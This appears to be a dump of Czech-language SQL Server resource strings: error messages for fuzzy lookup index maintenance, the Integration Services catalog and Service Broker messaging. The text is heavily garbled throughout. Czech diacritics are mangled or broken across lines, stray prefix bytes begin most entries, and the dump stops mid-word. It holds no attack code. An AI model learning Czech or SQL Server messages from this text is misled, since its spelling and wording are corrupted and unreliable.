�Doalo k pokusu o vlo~en� Y�dku, jeho~ ID ji~ existuje. Index odoln� vo
i chyb�m je poakozen.

�Nebyl poskytnut ~�dn� seznam identifik�toro RID pro pYipojov�n�. Index odoln� vo
i chyb�m je poakozen.

�Token nelze odstranit. Index odoln� vo
i chyb�m je poakozen.

�Objekt prov�dj�c� tokenizaci nem� nastaven oddlova
. Index odoln� vo
i chyb�m je poakozen.

�Odstrann� se nezdaYilo, proto~e token se v indexu nevyskytuje. Index odoln� vo
i chyb�m je poakozen.

�Neo
ek�van� d�lka seznamu identifik�toro RID. Index odoln� vo
i chyb�m je poakozen.

�K indexu odoln�mu vo
i chyb�m se nelze pYipojit. Objekt SqlCommand nelze naj�t nebo je chybn�.

xIndex v kopii referen
n� tabulky se nepodaYilo vyYadit.

�Metadata indexu odoln�ho vo
i chyb�m se nepodaYilo na
�st. Index je pravdpodobn poakozen.

�Z metadat obsa~en�ch v indexu odoln�m vo
i chyb�m se nepodaYilo prov�st inicializaci. Index je pravdpodobn poakozen.

�Doalo k chyb specifick� pro �dr~bu tabulky vyhled�v�n� s fuzzy logikou.

�Bhem prov�dn� �dr~by tabulky vyhled�v�n� s fuzzy logikou doalo k chyb syst�mu.

�Na z�pornou pozici indexu nelze zapisovat. Index odoln� vo
i chyb�m nelze aktualizovat. Index je pravdpodobn poakozen.

LArgument nen� platn� aestn�ctkov� Yetzec. Z metadat obsa~en�ch v indexu odoln�m vo
i chyb�m se nepodaYilo prov�st inicializaci. Index je pravdpodobn poakozen.

�V metadatech indexu odoln�ho vo
i chyb�m je uveden z�porn� po
et. Index je pravdpodobn poakozen.

�Metadata indexu odoln�ho vo
i chyb�m obsahuj� nepodporovan� normaliza
n� pY�znaky. Index je pravdpodobn poakozen.

�Metadata indexu odoln�ho vo
i chyb�m jsou neplatn�. Index je pravdpodobn poakozen.

xVerze metadat indexu odoln�ho vo
i chyb�m je neplatn�.

�Metadata nelze nal�zt. Index odoln� vo
i chyb�m je pravdpodobn poakozen.

�Po
ty tokeno v metadatech indexu odoln�ho vo
i chyb�m nelze analyzovat. Index je pravdpodobn poakozen.

�Xetzec metadat indexu odoln�ho vo
i chyb�m je pY�lia dlouh�. Index je pravdpodobn poakozen.

�Omezen� d�lky metadat indexu odoln�ho vo
i chyb�m bylo pYekro
eno.

�Byl zjiatn neo
ek�van� konec metadat indexu odoln�ho vo
i chyb�m. Index je pravdpodobn poakozen.

�Nebyl poskytnut n�zev tabulky indexu odoln�ho vo
i chyb�m. Index je pravdpodobn poakozen.

�Metadata indexu odoln�ho vo
i chyb�m neposkytuj� vstup pro dek�dov�n�. Index je pravdpodobn poakozen.

�Metadata indexu odoln�ho vo
i chyb�m neposkytuj� vstup pro k�dov�n�. Index je pravdpodobn poakozen.

�Xetzec metadat indexu odoln�ho vo
i chyb�m pro inicializaci nebyl poskytnut. Index je pravdpodobn poakozen.

�Metadata indexu odoln�ho vo
i chyb�m pro serializaci nebyla poskytnuta. Index je pravdpodobn poakozen.

�Vyhled�v�n� identifik�toru objektu pomoc� funkce object_id nelze prov�st. Nebyl zad�n n�zev objektu.

�Vyhled�v�n� identifik�toru objektu pomoc� funkce object_id nelze prov�st. Byl zad�n objekt pY�kazu s hodnotou NULL.

�Po~aduje otevYen� pYipojen�. Index odoln� vo
i chyb�m nelze dotazovat.

$Do v�stupn� vyrovn�vac� pamti s hodnotou NULL nelze zapisovat. Index odoln� vo
i chyb�m nelze aktualizovat. Index je pravdpodobn poakozen.

Poskytnut� v�stupn� vyrovn�vac� pame je pY�lia mal�. Index odoln� vo
i chyb�m nelze aktualizovat. Index je pravdpodobn poakozen.

�Po
et podYetzco min-hash q-gram na token mus� b�t kladn�.

|V kopii referen
n� tabulky se nepodaYilo vytvoYit index.

Sloupec identity typu integer referen
n� tabulky (nebo intern� kopie) nelze naj�t. Index odoln� vo
i chyb�m je pravdpodobn poakozen.

LBylo dosa~eno maxim�ln� povolen� hodnoty identity typu integer. Zva~te nov� sestaven� indexu odoln�ho vo
i chyb�m tak, aby vyu~il vaechny mezery v posloupnosti.

LZ poskytnut�ch dat nelze 
�st identifik�tor RID (chyb� n�zev sloupce, hodnota objektu 
te
ky je NULL nebo jsou poakozena data). Index je pravdpodobn poakozen.

TVlo~en� �dr~by tabulky se nezdaYilo.

tTokenizace po~aduje kladnou d�lku podYetzce q-gram.

�Aktiva
n� ud�lost pro �dr~bu je pro tuto referen
n� tabulku ji~ nainstalov�na.

�Roza�Yenou vlastnost aktiva
n� ud�losti �dr~by nelze nal�zt.

N�zev aktiva
n� ud�losti �dr~by nen� synchronizov�n s metadaty indexu odoln�ho vo
i chyb�m. Index je pravdpodobn poakozen.

�PYi vykon�v�n� �dr~by tabulky vyhled�v�n� s fuzzy logikou doalo k chyb jazyka SQL.

�Parametr object_id nelze vyhledat. Referen
n� tabulku nebo aktiva
n� ud�lost �dr~by nelze naj�t.

�Zadan� n�zev tabulky indexu odoln�ho vo
i chyb�m nen� platn� identifik�tor SQL.

�Zadan� n�zev tabulky indexu odoln�ho vo
i chyb�m odkazuje na chybj�c� tabulku. Zkontrolujte zobrazen� sys.tables.

�Pomocnou tabulku �dr~by pro tabulku vyhled�v�n� s fuzzy logikou nelze naj�t.

�N�zev pomocn� tabulky �dr~by pro tabulku vyhled�v�n� s fuzzy logikou m� hodnotu null. �dr~ba nemo~e pokra
ovat.

�X�dek odstrann� z referen
n� tabulky se nemo~e nach�zet v kopii referen
n� tabulky.

��dr~ba tabulky vyhled�v�n� s fuzzy logikou nen� nainstalov�na nebo je Index odoln� vo
i chyb�m poakozen.

�Vstupn� parametr %1!s! nesm� m�t hodnotu null. Zadejte platnou hodnotu pro tento parametr.

�Hodnota zadan� pro parametr %1!s! nen� platn�. Zadejte platnou hodnotu pro tento parametr.

�Vstupn� parametr %1!s! nesm� b�t pr�zdn�. Zadejte platnou hodnotu pro tento parametr.

�Nelze naj�t instanci proveden� %1!s!. Instance neexistuje nebo nem�te dostate
n� opr�vnn�.

�Nelze naj�t slo~ku %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

�Nelze naj�t operaci %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

lNelze nal�zt parametr %1!s!, proto~e neexistuje.

PZadan� polo~ka %1!s! ji~ existuje.

�Nelze naj�t cestu pro objekt %1!s!. Operace bude ukon
ena.

�Nelze naj�t projekt %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

V�choz� opr�vnn� pro tento projekt nelze u~ivateli poskytnout. PYesvd
te se, ~e u~ivateli mohou b�t tato opr�vnn� pYiYazena.

�Nelze naj�t odkaz %1!s!. Odkaz nen� sou
�st� projektu nebo nem�te dostate
n� opr�vnn�.

�X�dek v tabulce %1!s! nelze aktualizovat. PYesvd
te se, ~e tento Y�dek existuje.

�Jeden nebo v�ce Y�dko v tabulce %1!s! nelze odstranit. PYesvd
te se, ~e tyto Y�dky existuj�.

�Nelze naj�t odkaz %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

�Nelze naj�t c�lovou slo~ku %1!s!. Slo~ka neexistuje nebo nem�te dostate
n� opr�vnn�.

XBhem aifrov�n� doalo k chyb pYevodu.

LDeaifrov�n� projektu se nezdaYilo. PY�
inou mo~e b�t odstrann� symetrick�ho kl�
e, kter� byl pou~it k aifrov�n� projektu. OdstraHte projekt a nasate jej znovu.

xNasazen� projektu se nezdaYilo. Opakujte akci pozdji.

`ifrov�n� projektu s n�zvem %1!s! se nezdaYilo. PY�
inou mo~e b�t odstrann� symetrick�ho kl�
e. OdstraHte projekt a nasate jej znovu.

TUdlen� opr�vnn� %1!s! se nezdaYilo.

�Projekt aktu�ln b~�, nebo byl dokon
en. Instanci proveden� lze spustit pouze jednou.

PNelze prov�st anal�zu a rodokmen dopado. Data bal�
ku nebo konfigura
n� data pravdpodobn nejsou platn�. Chcete-li data bal�
ku ovYit, otevYete bal�
ek v n�stroji Business Intelligence Development Studio. Chcete-li ovYit konfigura
n� data, otevYete konfigura
n� soubor XML v editoru XML.

(Operaci nelze spustit pomoc� �
tu, kter� pou~�v� ovYov�n� syst�mu SQL Server. Spusete operaci pomoc� �
tu, kter� po~�v� integrovan� ovYov�n�.

�Server integra
n�ch slu~eb nemo~e zastavit operaci. Zadan� operace s ID %1!s! nen� platn� nebo neb~�.

�Server integra
n�ch slu~eb nemo~e zastavit operaci. Zadan� operace nen� v konzistentn�m stavu a nelze ji zastavit.

�Server integra
n�ch slu~eb nemo~e zastavit operaci. Zadan� operace ji~ je ve stavu Zastaven�.

dKatalog integra
n�ch slu~eb %1!s! neexistuje.

pN�zev %1!s! nen� platn�. Obsahuje nepovolen� znaky.

�Slo~ka %1!s! ji~ existuje, nebo v�m nebyla udlena pY�sluan� opr�vnn� k jej�m zmn�m.

�Server integra
n�ch slu~eb nemohl zosobnit volaj�c� objekt. K�d chyby opera
n�ho syst�mu: %1!s!.

�Server integra
n�ch slu~eb nemohl spustit proces %1!s!. K�d chyby opera
n�ho syst�mu: %2!s!.

�Server integra
n�ch slu~eb nemohl vytvoYit komponentu procesu %1!s!. K�d chyby opera
n�ho syst�mu: %2!s!.

�Server integra
n�ch slu~eb nemohl 
ekat na ukon
en� procesu %1!s!. K�d chyby opera
n�ho syst�mu: %2!s!.

Datab�ze %1!s! ji~ existuje. PYejmenujte nebo odeberte existuj�c� datab�zi a spusete n�stroj Nastaven� syst�mu SQL Server znova.

(Po~adovan� sou
�sti pro 32bitovou edici integra
n�ch slu~eb nelze nal�zt. Spusete instalaci syst�mu SQL Server a pYidejte po~adovan� sou
�sti.

�Kl�
 registru syst�mov�ho nastaven� %1!s! nelze naj�t. Operace bude ukon
ena.

�Vstupn� parametr nesm� m�t hodnotu null. Zadejte platnou hodnotu pro tento parametr.

XServer integra
n�ch slu~eb nelze konfigurovat, proto~e existuj� aktivn� operace. Po
kejte, a~ nebudou existovat ~�dn� aktivn� operace, a opakujte konfiguraci serveru.

XOperaci nelze spustit, proto~e u~ivatel nen� 
lenem datab�zov� role %1!s! nebo role serveru %2!s!. PYihlaste se jako 
len jedn� z tchto rol� a spusete operaci znova.

XServer integra
n�ch slu~eb nejde nakonfigurovat, proto~e existuj� protokoly spuatn�. OdstraHte pros�m vaechny protokoly spuatn� a zkuste server nakonfigurovat znovu.

�%1!s! nen� platn� n�zev prostYed�. Obsahuje nepovolen� znaky.

�Nelze z�skat pY�stup k operaci s ID %1!s!. OvYte, zda m� u~ivatel patYi
n� opr�vnn�.

�%1!s! nen� platn� n�zev projektu. Obsahuje nepovolen� znaky.

�K bal�
ku nelze z�skat pY�stup nebo bal�
ek neexistuje. OvYte, zda bal�
ek existuje a u~ivatel k nmu m� opr�vnn�.

�Datov� typ vstupn� hodnoty nen� kompatibiln� s datov�m typem polo~ky %1!s!.

�Datov� typ parametru se neshoduje s datov�m typem promnn� prostYed�.

�Server integra
n�ch slu~eb nemo~e nyn� na zadan�m bal�
ku prov�st po~adovanou operaci, proto~e bal�
ek je ve stavu 
ek�n�. Po
kejte, dokud se stav bal�
ku nezmn�, a provete operaci znova.

�Od vytvoYen� t�to instance proveden� doalo ke zmn verze projektu. VytvoYte novou instanci proveden� a opakujte akci.

V�choz� opr�vnn� pro tuto operaci nelze u~ivateli udlit. PYesvd
te se, ~e u~ivateli mohou b�t tato opr�vnn� pYiYazena.

�Parametr @sensitive nebyl nalezen. Tento parametr slou~� k ozna
en� toho, zda parametr obsahuje citlivou hodnotu.

�Obnoven� projektu se nezdaYilo. Nelze obnovit projekt, kter� m� stejnou hodnotu object_version_lsn jako aktu�ln� projekt.

�Nelze naj�t vlastnost serveru integra
n�ch slu~eb %1!s!. Zkontrolujte n�zev vlastnosti a akci opakujte.

�ProstYed� %1!s! ji~ existuje, nebo v�m nebyla udlena pY�sluan� opr�vnn� k jeho vytvoYen�.

V proceduYe %1!s! doalo k chyb 
�slo %2!s!, na Y�dku 
�slo %3!s!. Chybov� zpr�va: %4!s!. �roveH chyby: %5!s!. Stav: %6!s!.

`Datov� typ vstupn� hodnoty nen� podporov�n.

�Ulo~en� procedura %1!s! se nespustila, proto~e datab�ze integra
n�ch slu~eb (SSISDB) nen� v jednou~ivatelsk�m re~imu. V aplikaci SQL Server Management Studio otevYete dialogov� okno Vlastnosti datab�ze pro SSISDB, pYepnte na kartu Mo~nosti a nastavte vlastnost Omezen� pY�stupu na jednou~ivatelsk� re~im (SINGLE_USER). Potom zkuste ulo~enou proceduru spustit znovu.

8Vlastnost %1!s! nelze zmnit, proto~e datab�ze integra
n�ch slu~eb nen� v jednou~ivatelsk�m re~imu. V dialogov�m okn Vlastnosti datab�ze v n�stroji Management Studio nastavte vlastnost Omezen� pY�stupu na jednou~ivatelsk� re~im. Pot� se znovu pokuste zmnit hodnotu vlastnosti.

�Hodnota vlastnosti serveru integra
n�ch slu~eb %1!s! nen� platn�. V dialogov�m okn Vlastnosti integra
n�ch slu~eb v n�stroji Management Studio vlo~te platnou hodnotu pro tuto vlastnost.

tNainstalovan� verze syst�mu SQL Server nepodporuje instalaci serveru integra
n�ch slu~eb. Aktualizujte syst�m SQL Server a pokuste se znovu nainstalovat server integra
n�ch slu~eb.

Zmna aifrovac�ho algoritmu na %1!s! se nezdaYila. PYi aifrov�n� promnn�ch prostYed� pomoc� algoritmu %2!s! doalo k chyb.

�Zmna aifrovac�ho algoritmu na %1!s! se nezdaYila. PYi aifrov�n� hodnot parametru pomoc� algoritmu %2!s! doalo k chyb.

�VytvoYen� polo~ky protokolu pro po~adovanou operaci se nezdaYilo.

dNa
ten� projektu s n�zvem %1!s! se nezdaYilo.

�Zadan� hodnota nen� platn�. Je vy~adov�na hodnota datov�ho typu %1!s!.

�Certifik�t a symetrick� kl�
 pou~it� k aifrov�n� projektu %1!s! neexistuj� nebo nem�te dostate
n� opr�vnn�.

XPromnn� prostYed� %1!s! ji~ existuje.

HZpracov�n� ji~ bylo dokon
eno.

�Parametr %1!s! neexistuje nebo nem�te dostate
n� opr�vnn�.

�N�zvy prostYed� musej� b�t jedine
n�. ProstYed� s n�zvem %1!s! ji~ existuje.

�Nelze spustit projekt s n�zvem %1!s!. Nem�te dostate
n� opr�vnn�.

�Verze objektu se neshoduje s ID projektu nebo nem�te dostate
n� opr�vnn�.

�%1!s! nen� platn� n�zev promnn� prostYed�. Obsahuje nepovolen� znaky.

�Projekt %1!s! ji~ existuje nebo v�m nebyla udlena pY�sluan� opr�vnn� k pY�stupu.

�ProstYed� %1!s! neexistuje nebo v�m nebyla udlena pY�sluan� opr�vnn� k pY�stupu.

�Promnn� prostYed� %1!s! neexistuje nebo v�m nebyla udlena pY�sluan� opr�vnn� k pY�stupu.

�Chcete-li spustit tento bal�
ek, je tYeba zadat hodnoty po~adovan�ch parametro.

�Z�znam ovYen� pro ID %1!s! neexistuje nebo v�m nebyla udlena pY�sluan� opr�vnn� potYebn� k pY�stupu k z�znamu.

�Jednu 
i v�ce promnn�ch prostYed� nelze v odkazovan�m prostYed� nal�zt.

�Projekt neexistuje nebo v�m nebyla udlena pY�sluan� opr�vnn� k pY�stupu.

�Slo~ku katalogu mohou vytvoYit, odstranit 
i pYejmenovat pouze 
lenov� rol� serveru ssis_admin nebo sysadmin.

|N�zev slo~ky katalogu nesm� b�t NULL 
i pr�zdn� Yetzec.

�Slo~ka %1!s! ji~ existuje nebo v�m nebyla udlena pY�sluan� opr�vnn� k jej�mu vytvoYen�.

�Opr�vnn� %1!s! nelze pou~�t pro objekty typu %2!s!. Udlen�, odepYen� 
i odvol�n� tohoto opr�vnn� nen� povoleno.

�Volaj�c�mu nebyla pro zadan� objekt udlena opr�vnn� MANAGEPERMISSION.

(K instalaci integra
n�ch slu~eb je nutn� m�t nainstalovan� syst�m SQL Server %1!s!. S touto verz� syst�mu SQL Server nelze slu~by nainstalovat.

�Projekt nelze naj�t, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

�Operace se nezdaYila z dovodu vypraen� 
asov�ho limitu prov�dn�.

�Odstrann� slo~ky %1!s! se nezdaYilo, proto~e nen� pr�zdn�. Lze odstranit pouze pr�zdn� slo~ky.

XZadan� polo~ka %1!s! %2!s! neexistuje.

�Vyhled�n� z�znamo pro zadanou operaci (ID %1!s!) se nezdaYilo.

�%1!s! nen� platn� n�zev slo~ky. Obsahuje nepovolen� znaky.

hV projektu nelze nal�zt zadan� odkaz prostYed�.

�Nelze nal�zt hodnoty pro po~adovan� parametry v tomto bal�
ku. Chcete-li spustit ovYov�n�, zadejte tyto hodnoty.

8V tomto projektu nelze nal�zt jeden 
i v�ce odkazo prostYed�. Chcete-li pou~�t promnn� prostYed�, zadejte odpov�daj�c� identifik�tor odkazu prostYed�.

Nasazen� projektu se nezdaYilo. Dala� informace z�sk�te pomoc� dotazu na zobrazen� operation_messages pro identifik�tor operace %1!s!.

�VytvoYen� odkazu prostYed� se nezdaYilo. Tento projekt ji~ obsahuje odkaz na zadan� prostYed�.

�Nelze nal�zt nkter� z hodnot vlastnost� pro tento parametr.

�Nasazen� projektu do slo~ky %1!s! se nezdaYilo. K nasazen� tohoto projektu nem�te dostate
n� opr�vnn�.

|Nelze naj�t jednu nebo v�ce promnn�ch v prostYed� %1!s!.

lOdkaz prostYed� %1!s! nen� pYidru~en k projektu.

�VytvoYen� prostYed� do slo~ky %1!s! se nezdaYilo. K vytvoYen� tohoto prostYed� nem�te dostate
n� opr�vnn�.

tPYevod polo~ky %1!s! na datov� typ %2!s! se nezdaYil.

�Datov� ventil lze pYidat nebo odebrat pYi vytvoYen� stavu proveden�.

�Xetzce cesty k bal�
ku a ID cesty toku dat ji~ pro ID spuatn� %1!s! existuj�. Zadejte Yetzce cesty k bal�
ku a ID cesty toku dat, kter� se nenach�zej� v zobrazen� catalog.execution_data_taps.

�Identifik�tor GUID �lohy toku dat %1!s! a Yetzec ID cesty toku dat ji~ pro ID spuatn� %2!s! existuj�. Zadejte identifik�tor GUID �lohy toku dat a Yetzec ID cesty toku dat, kter� se nenach�zej� v zobrazen� catalog.execution_data_taps.

�Datov� ventil %1!s! neexistuje, nebo nem�te dostate
n� opr�vnn� k jeho odebr�n�. Zadejte platn� datov� ventil.

�Po
et Y�dko mus� b�t nez�porn� hodnota. Zadejte platnou hodnotu.

��roveH protokolov�n� %1!s! nen� nadefinovan�. Zadejte nkterou z n�sleduj�c�ch �rovn� protokolov�n�: 0 (None), 1 (Basic), 2 (Performance), 3 (Verbose), 4 (RuntimeLineage), 100 (Customized).

�Serveru integra
n�ch slu~eb se nepodaYilo nal�zt b~�c� proces ID spuatn� %1!s!. Zadejte platn� ID spuatn�.

xVolaj�c� nem� opr�vnn� ke spuatn� ulo~en� procedury.

tDatab�ze SSISDB neexistuje. VytvoYte datab�zi SSISDB.

�Nelze namapovat promnnou prostYed� s vlastnost� dovrn� nastavenou na hodnotu True na parametr s vlastnost� dovrn� nastavenou na hodnotu False. Zkontrolujte, zda se nastaven� vlastnost� shoduj�.

0Po~adovan� sou
�sti pro 64bitovou edici integra
n�ch slu~eb nelze nal�zt. Spusete instalaci syst�mu SQL Server a nainstalujte po~adovan� sou
�sti.

�Projekt nelze pYesunout do slo~ky %1!s! z dovodu nedostate
n�ch opr�vnn�.

`Hodnotu parametru nelze po spuatn� zmnit.

TVlastnost nelze po spuatn� pYepsat.

�Objekt zabezpe
en� datab�ze pYidlil nebo odepYel opr�vnn� objektom katalogu v datab�zi a nelze jej vyYadit.

<Server %1!s! u~ existuje.

<Server %1!s! neexistuje.

tNepovedlo se naj�t pYihlaaovac� �daje %1!s! pro SQL.

pNasazen� bal�
ko selhalo. Zkuste to pozdji znovu.

Nasazen� bal�
ko selhalo. Dala� informace z�sk�te pomoc� dotazu na zobrazen� operation_messages pro identifik�tor operace %1!s!.

$PYizposobenou �roveH protokolov�n� %1!s! se nepovedlo vytvoYit. Pro vytvoYen� pYizposoben� �rovn protokolov�n� nem�te dostate
n� opr�vnn�.

�N�zev pYizposoben� �rovn protokolov�n� nemo~e b�t NULL ani pr�zdn� Yetzec.

�%1!s! nen� platn� pYizposoben� n�zev �rovn protokolov�n�. Obsahuje nepovolen� znaky.

tPYizposoben� �roveH protokolov�n� %1!s! u~ existuje.

(PYizposobenou �roveH protokolov�n� %1!s! se nepovedlo odstranit. Pro odstrann� pYizposoben� �rovn protokolov�n� nem�te dostate
n� opr�vnn�.

pPYizposoben� �roveH protokolov�n� %1!s! neexistuje.

@PYizposobenou �roveH protokolov�n� %1!s! s %2!s! se nepovedlo pYejmenovat. Pro pYejmenov�n� pYizposoben� �rovn protokolov�n� nem�te dostate
n� opr�vnn�.

0PYizposobenou �roveH protokolov�n� %1!s! se nepovedlo aktualizovat. Pro aktualizaci pYizposoben� �rovn protokolov�n� nem�te dostate
n� opr�vnn�.

LHodnota nesm� b�t mena� ne~ nula.

�Nepovedlo se aktualizovat �roveH protokolov�n� %1!s!. Nastavte hodnotu vlastnosti SERVER_CUSTOMIZED_LOGGING_LEVEL, kter� nemo~e b�t pro �roveH protokolov�n� %2!s! pr�zdn� nebo m�t hodnotu null.

�Nelze naj�t instanci �lohy spuatn� clusteru %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

�Nelze naj�t pracovn�ho agenta clusteru %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

�Nelze naj�t instanci �lohy spuatn� clusteru %1!s!, proto~e neexistuje nebo nem�te dostate
n� opr�vnn�.

Nelze pYidat pracovn�ho agenta ke spuatn� instance �lohy clusteru %1!s!, proto~e �loha je specifikov�na pro vaechny pracovn� agenty.

�Pracovn� agent clusteru integra
n�ch slu~eb %1!s! je zak�zan�.

�Id �lohy spuatn� m� hodnotu null. Nejprve vytvoYte �lohu pro spuatn� a pak operaci zopakujte.

DZpr�va o ud�losti neexistuje.

dNen� ~�dn� aktivn� agent pracovn�ho procesu.

 Nepovedlo se povolit agenta pracovn�ho procesu, proto~e aktu�ln� edice SQL Serveru podporuje jenom omezen� po
et agento pracovn�ch proceso.

�Tuto akci mohou prov�dt jenom 
lenov� serverov�ch rol� sysadmin.

tNen� nainstalovan� ~�dn� hlavn� proces se ak�lov�n�m.

PYi zpracov�v�n� z�lo~n�ch souboro doalo k�neo
ek�van� chyb s�hodnotou HRESULT 0x%1!s!. Dala� informace o vaech souvisej�c�ch chyb�ch, ke kter�m doalo, najdete v�protokolu chyb syst�mu SQL Server. OdstraHte tyto chyby, pokud je to nutn�, a opakujte operaci.

Identifik�tor SegmentID %1!s! z�archivu neodpov�d� identifik�toru segmentID %2!s! ze zadan�ho n�zvu souboru v�cihle %3!s!.

\ProstYed� HPC se nepovedlo inicializovat.

�Dotaz se u ID zaY�zen� HPC %1!s! nepovedl kvoli chyb %2!s!.

lDeaifrovan� kl�
 relace m� neo
ek�vanou velikost.

PByla pYijata poakozen� zpr�va. Zpr�va obsahuje neplatn� pY�znaky. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

�Spr�vce slu~by Service Broker nelze spustit. Chyba opera
n�ho syst�mu: %1!s!.

�Doalo k vnitYn� chyb slu~by Service Broker. Chyba opera
n�ho syst�mu: %1!s!.

�Zpr�vu nelze doru
it, proto~e akci %1!s! nelze prov�st ve stavu %2!s!.

�PYi zaYazov�n� zpr�vy do c�lov� fronty doalo k v�jimce. Chyba: %1!s!, stav: %2!s!. %3!s!

`U~ivatel nem� opr�vnn� k operaci %1!s! s konverzac� %2!s! ve stavu %3!s!. Toto opr�vnn� maj� pouze 
lenov� pevn� role serveru sysadmin a pevn� datab�zov� role db_owner.

�Byla pYijata poakozen� zpr�va. Nejvyaa� zobrazen� 
�slo zpr�vy mus� b�t vyaa� ne~ potvrzen� 
�slo zpr�vy. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

�Popisova
 konverzace {%1!s!-%2!s!-%3!s!-%4!s!%5!s!-%6!s!%7!s!%8!s!%9!s!%10!s!%11!s!} je neplatn�.

�Rozhran� API pro aifrov�n� nalezlo pYi pokusu o proveden� deaifrovac� operace chybn� data.

XZpr�vu nelze doru
it, proto~e obsahuje neplatn� potvrzen� 
�slo zpr�vy. Nejvyaa� o
ek�van� 
�slo zpr�vy: %1!s!. Potvrzen� 
�slo zpr�vy: %2!s!, 
�slo fragmentu: %3!s!.

�Zpr�vu nelze doru
it, proto~e jej� %1!s! vyprael nebo je neplatn�.

�Slu~ba Service Broker je v c�lov� datab�zi nedostupn�: %1!s!.

pSlu~ba Service Broker je zak�z�na administr�torem.

PDatab�ze je v re~imu jen pro 
ten�.

XDatab�ze je v jednou~ivatelsk�m re~imu.

�Zpr�va byla vyYazena, proto~e slu~ba Service Broker je v c�lov� datab�zi nedostupn�: %1!s!.

�Zpr�va byla vyYazena, proto~e c�lov� slu~ba Service Broker je nedosa~iteln�.

\Datab�ze je replikou zrcadlen� datab�ze.

�PYi vytv�Yen� nov�ho identifik�toru GUID elementu zpr�vy pro tuto pYedanou zpr�vu doalo k chyb syst�mu %1!s!.

�Nelze vytvoYit token u~ivatele pro u~ivatele %1!s! v datab�zi %2!s!.

�Jednu nebo v�ce zpr�v nelze doru
it do m�stn� slu~by ur
en� t�mto dialogem.

�Certifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID: %1!s!) doposud nen� platn�. Mo~ete po
kat, ne~ se certifik�t stane platn�m, nebo nainstalovat certifik�t, kter� je platn� aktu�ln.

DCertifik�t zabezpe
en� v�zan� k objektu zabezpe
en� datab�ze (ID: %1!s!) vyprael. VytvoYte nebo nainstalujte nov� certifik�t pro objekt zabezpe
en� datab�ze.

�Byla pYijata poakozen� zpr�va. Zaaifrovan� posun zat�~en� je neplatn� (%1!s!).

�Byla pYijata poakozen� zpr�va. Z�hlav� arbitr�~n�ho po~adavku je neplatn�.

�Byla pYijata poakozen� zpr�va. Z�hlav� arbitr�~n�ho po~adavku je neplatn�.

�Byla pYijata poakozen� zpr�va. Zpr�va nen� zaaifrovan� a podepsan� aktu�ln nastaven�m algoritmem koncov�ho bodu. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

�Byla pYijata poakozen� zpr�va. Z�hlav� zpr�vy pYipojen� k proxy serveru nen� platn�.

�Kl�
 relace nelze deaifrovat, pokud se hlavn� kl�
 znovu generuje mo~nost� FORCE.

Slu~ba Service Broker nemo~e aktualizovat kl�
e relace konverzace v datab�zi %1!s! do zaaifrovan�ho form�tu (chyba: %2!s!). Slu~ba Service Broker byla v t�to datab�zi zak�z�na. V datab�zi je po~adov�n hlavn� kl�
, aby bylo mo~n� slu~bu Service Broker povolit.

XSlu~ba Service Broker potYebuje pY�stup k hlavn�mu kl�
i v datab�zi %1!s!. K�d chyby: %2!s!. Hlavn� kl�
 mus� existovat. Zaaifrov�n� hlavn�ho kl�
e slu~by je povinn�.

�Certifik�t %1!s! nen� pro ovYov�n� koncov�ho bodu platn�. Certifik�t mus� m�t priv�tn� kl�
 zaaifrov�n hlavn�m kl�
em datab�ze a aktu�ln� datum UTC mus� b�t mezi datem za
�tku platnosti certifik�tu a vypraen� platnosti certifik�tu.

Zpr�vu nelze doru
it, proto~e u~ivatel s ID %1!s! v ID datab�ze %2!s! nem� opr�vnn� k Y�zen� slu~by. N�zev slu~by: %3!s!.

�Slu~ba Service Broker nemohla aktualizovat konverzaci v probhu operace aktualizace datab�ze.

Metoda handshake v pYipojen� selhala. PYijat� pYedb~n� hlavn� tajn� k�d o velikosti %1!s! nem� o
ek�vanou velikost %2!s!. Stav %3!s!.

�`ifrovac� algoritmus standardu AES je podporov�n pouze v syst�mech Windows XP, Windows Server 2003 a pozdja�ch verz�ch.

�Byla pYijata poakozen� zpr�va. Podpis kontroly integrity sousedn� zpr�vy nelze ovYit.

�Byla pYijata poakozen� zpr�va. Z�hlav� zpr�vy podepsan�ho dialogu je neplatn�.

pByla pYijata poakozen� zpr�va. Po~adovan� promnn� datov� pole neexistuje: %1!s!. Doalo k tomu ve zpr�v s ID konverzace %2!s!, inici�torem %3!s! a poYadov�m 
�slem zpr�vy %4!s!.

�Byla pYijata poakozen� zpr�va. Promnn� datov� pole Yetzce nen� platn� Yetzec znako UNICODE: %1!s!. Doalo k tomu ve zpr�v s ID konverzace %2!s!, inici�torem %3!s! a poYadov�m 
�slem zpr�vy %4!s!.

lByla pYijata poakozen� zpr�va. Z�hlav� zpr�vy nepodepsan�ho dialogu je neplatn�. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

pByla pYijata poakozen� zpr�va. Z�hlav� zpr�vy bezpe
nostn�ho dialogu je neplatn�. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

�Byla pYijata poakozen� zpr�va. Zaaifrovan� posun ob�lky se neshoduje se zaaifrovan�m posunem zat�~en�. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

XByla pYijata poakozen� zpr�va. Datov� 
�st ob�lky je vta� ne~ zpr�va. Doalo k tomu ve zpr�v s ID konverzace %1!s!, inici�torem %2!s! a poYadov�m 
�slem zpr�vy %3!s!.

�Byl zjiatn neo
ek�van� kl�
 relace pYi aifrov�n� zpr�vy dialogu.

0Ve vys�la
i zpr�v slu~by Service Broker doalo k z�va~n� chyb (operace %1!s!): Chyba: %2!s!, stav: %3!s!. PYenos zpr�vy bude pokra
ovat za %4!s! s.

�Vys�la
